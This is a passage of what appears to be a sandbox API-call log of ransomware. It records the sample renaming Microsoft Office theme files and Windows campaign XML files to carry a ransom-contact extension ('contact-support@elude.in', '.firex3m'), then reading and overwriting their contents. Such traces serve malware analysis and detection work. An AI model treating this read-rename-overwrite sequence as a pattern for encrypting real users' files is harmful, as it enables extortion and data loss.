Size=0x10a) returned 0x7318d00 [0207.048] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.048] WriteFile (in: hFile=0x6a8, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x50fff0c*=0x220, lpOverlapped=0x0) returned 1 [0207.048] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.048] WriteFile (in: hFile=0x6a8, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0207.048] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.048] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0207.048] CloseHandle (hObject=0x6a8) returned 1 [0207.049] GetProcessHeap () returned 0x630000 [0207.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0207.049] GetProcessHeap () returned 0x630000 [0207.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0207.049] GetProcessHeap () returned 0x630000 [0207.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0207.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x415bd38e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0xa207496, dwReserved1=0x717e140, cFileName="BLUEPRNT.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUEPR~1.FIR")) returned 0x6d5000 [0207.049] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0207.049] Sleep (dwMilliseconds=0x1) [0207.056] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM", len=0x70 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM") returned 1 [0207.057] GetProcessHeap () returned 0x630000 [0207.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c4c) returned 0x6fe4288 [0207.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0207.057] CloseHandle (hObject=0x6cc) returned 1 [0207.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BLUEPRNT.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUEPR~2.FIR")) returned 0x6d5280 [0207.059] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0207.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0207.059] GetProcessHeap () returned 0x630000 [0207.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0207.059] GetProcessHeap () returned 0x630000 [0207.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0207.059] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.059] ReadFile (in: hFile=0x6cc, lpBuffer=0x718b7d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.509] GetProcessHeap () returned 0x630000 [0216.509] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0216.510] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.510] WriteFile (in: hFile=0x6cc, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0216.510] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.510] WriteFile (in: hFile=0x6cc, lpBuffer=0x70b306f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b306f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.510] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.510] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.510] CloseHandle (hObject=0x6cc) returned 1 [0216.511] GetProcessHeap () returned 0x630000 [0216.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a7c70 | out: hHeap=0x630000) returned 1 [0216.511] GetProcessHeap () returned 0x630000 [0216.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0216.511] GetProcessHeap () returned 0x630000 [0216.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0216.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x47008cca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdaaa, dwReserved0=0xa207496, dwReserved1=0x718b7d0, cFileName="BLUEPRNT.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUEPR~2.FIR")) returned 0x6d5480 [0216.511] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0216.511] Sleep (dwMilliseconds=0x1) [0218.104] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x50fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml") returned 1 [0218.104] GetProcessHeap () returned 0x630000 [0218.104] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x508c) returned 0x6fe3bb0 [0218.104] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.105] CloseHandle (hObject=0x6d8) returned 1 [0218.105] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.105] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.106] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0218.106] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0218.106] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.106] GetProcessHeap () returned 0x630000 [0218.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0218.106] GetProcessHeap () returned 0x630000 [0218.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0218.106] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.106] ReadFile (in: hFile=0x6d8, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x50fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.109] GetProcessHeap () returned 0x630000 [0218.109] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0218.109] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.109] WriteFile (in: hFile=0x6d8, lpBuffer=0x74aa440*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesWritten=0x50fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.109] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.109] WriteFile (in: hFile=0x6d8, lpBuffer=0x74aa5df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa5df*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.109] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.109] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.110] CloseHandle (hObject=0x6d8) returned 1 [0218.110] GetProcessHeap () returned 0x630000 [0218.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0218.111] GetProcessHeap () returned 0x630000 [0218.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0218.111] GetProcessHeap () returned 0x630000 [0218.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0218.111] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47f3de14, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x50ffd20, dwReserved1=0x74aa090, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0218.111] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0218.111] Sleep (dwMilliseconds=0x1) [0218.119] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x50fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml") returned 1 [0218.119] GetProcessHeap () returned 0x630000 [0218.119] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5088) returned 0x6fe3bb0 [0218.119] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.120] CloseHandle (hObject=0x6d8) returned 1 [0218.120] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.120] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4e00 [0218.121] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0218.121] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.122] GetProcessHeap () returned 0x630000 [0218.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74a9eb8 [0218.122] GetProcessHeap () returned 0x630000 [0218.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa7f0 [0218.122] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.122] ReadFile (in: hFile=0x6d8, lpBuffer=0x74a9eb8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9eb8*, lpNumberOfBytesRead=0x50fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.124] GetProcessHeap () returned 0x630000 [0218.124] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0218.124] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.124] WriteFile (in: hFile=0x6d8, lpBuffer=0x74aa7f0*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7f0*, lpNumberOfBytesWritten=0x50fff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.124] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.124] WriteFile (in: hFile=0x6d8, lpBuffer=0x74aa98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa98f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.125] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.125] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.125] CloseHandle (hObject=0x6d8) returned 1 [0218.125] GetProcessHeap () returned 0x630000 [0218.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa7f0 | out: hHeap=0x630000) returned 1 [0218.125] GetProcessHeap () returned 0x630000 [0218.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9eb8 | out: hHeap=0x630000) returned 1 [0218.125] GetProcessHeap () returned 0x630000 [0218.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0218.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47f640c6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x50ffd20, dwReserved1=0x74a9eb8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0218.125] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0218.125] Sleep (dwMilliseconds=0x1) [0218.135] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x50fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml") returned 1 [0218.135] GetProcessHeap () returned 0x630000 [0218.135] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5084) returned 0x6fe3bb0 [0218.135] CreateFileW (lpFileName="C:\\Program 